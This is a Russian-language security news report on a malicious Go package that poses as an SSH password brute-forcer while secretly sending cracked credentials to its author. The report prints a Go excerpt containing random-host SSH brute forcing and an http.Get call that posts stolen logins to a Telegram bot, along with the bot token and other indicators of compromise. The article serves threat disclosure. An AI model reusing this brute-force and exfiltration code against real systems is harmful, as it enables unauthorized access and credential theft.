Исследователи кибербезопасности обнаружили в экосистеме Go Module вредоносный пакет, который маскируется под инструмент для подбора SSH-паролей, но на самом деле тайно передает злоумышленнику успешно подобранные учетные данные. Пакет под названием "golang-random-ip-ssh-bruteforce" был опубликован более трёх лет назад, но до сих пор остаётся доступным для загрузки.
Описание
Угроза была выявлена экспертами Socket’s Threat Research Team с помощью системы искусственного интеллекта. Пакет, созданный пользователем GitHub под ником IllDieAnyway, позиционируется как высокоскоростной SSH-брутфорсер. Однако при первом успешном подключении к серверу программа отправляет IP-адрес, логин и пароль через заранее встроенный Telegram-бот на сервер, контролируемый злоумышленником.
Анализ кода показал, что модуль работает по следующему алгоритму: он непрерывно генерирует случайные IPv4-адреса, проверяет доступность порта 22/TCP и в случае успеха пытается подобрать учётные данные из локального словаря. При этом отключается проверка host key ("ssh.InsecureIgnoreHostKey()"), что упрощает подключение, но снижает безопасность. Как только аутентификация проходит успешно, данные немедленно отправляются в Telegram-чат с идентификатором 1159678884, после чего работа программы завершается.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | // Probe the host on TCP 22. If the port is reachable, launch brute forcing. func IsOpened(host string) { target := fmt.Sprintf("%s:%d", host, 22) conn, err := net.DialTimeout("tcp", target, 2*time.Second) if err == nil && conn != nil { conn.Close() go brute(host) } } // Configure SSH to skip host key verification, then attempt user:pass. sshConfig := &ssh.ClientConfig{ User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, Timeout: time.Duration(timeout) * time.Second, HostKeyCallback: ssh.InsecureIgnoreHostKey(), // Skip server verification. } client, err := ssh.Dial("tcp", addr, sshConfig) // On first success, send stolen credentials to the threat actor's Telegram. data := addr + ":" + user + ":" + pass + "</code>" http.Get("https://api[.]telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884&parse_mode=HTML&text=<code>" + data) close(succ) // Signal success and exit. |
Встроенный словарь паролей включает распространённые комбинации, такие как root/toor, admin/123456, а также варианты, характерные для устройств IoT и одноплатных компьютеров (например, raspberry, dietpi). Это указывает на то, что целью атаки становятся слабо защищённые серверы и сетевые устройства, где часто используются стандартные учётные данные.
Эксперты установили, что злоумышленник, стоящий за пакетом, вероятно, говорит на русском языке. Это подтверждается наличием описаний и интерфейсов на русском в других его репозиториях, а также инструментами для работы с соцсетью VKontakte. На GitHub он также размещает другие вредоносные утилиты, включая сканеры портов, брутфорсер для phpMyAdmin и даже фреймворк для управления ботнетом (Selica-C2).
Важно отметить, что запуск такого кода не только нарушает законодательство многих стран, но и создаёт операционные риски для самого исполнителя: его IP-адрес может быть заблокирован, а все успешно подобранные доступы попадут к третьей стороне. При этом злоумышленник остаётся анонимным и получает все преимущества от чужих атак.
На момент публикации новости пакет всё ещё доступен в Go Module и на GitHub. Команда Socket уже обратилась к администрации этих платформ с требованием удалить вредоносный код и заблокировать аккаунты его создателя.
Специалисты рекомендуют разработчикам и администраторам соблюдать осторожность при использовании сторонних инструментов, особенно в сфере кибербезопасности. Перед запуском необходимо анализировать исходный код, контролировать исходящий трафик и использовать системы обнаружения подозрительной активности, такие как сканеры зависимостей и инструменты мониторинга сети.
Данный случай демонстрирует растущую тенденцию: злоумышленники всё чаще маскируют вредоносный код под легитимные инструменты, перекладывая риски на пользователей и оставаясь в тени. Бдительность и проверка кода остаются ключевыми мерами защиты в таких условиях.
Индикаторы компрометации
Malicious Go Package
- golang-random-ip-ssh-bruteforce
Threat Actor’s Alias and GitHub
- IllDieAnyway
- https://github.com/IllDieAnyway
Exfiltration Endpoint
- https://api.telegram.org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884&parse_mode=HTML&text=<code>
Telegram Identifiers
- Bot token: 5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY
- Bot name and handle: ssh_bot (@sshZXC_bot)
- Destination chat_id: 1159678884
- Destination user: Gett (@io_ping)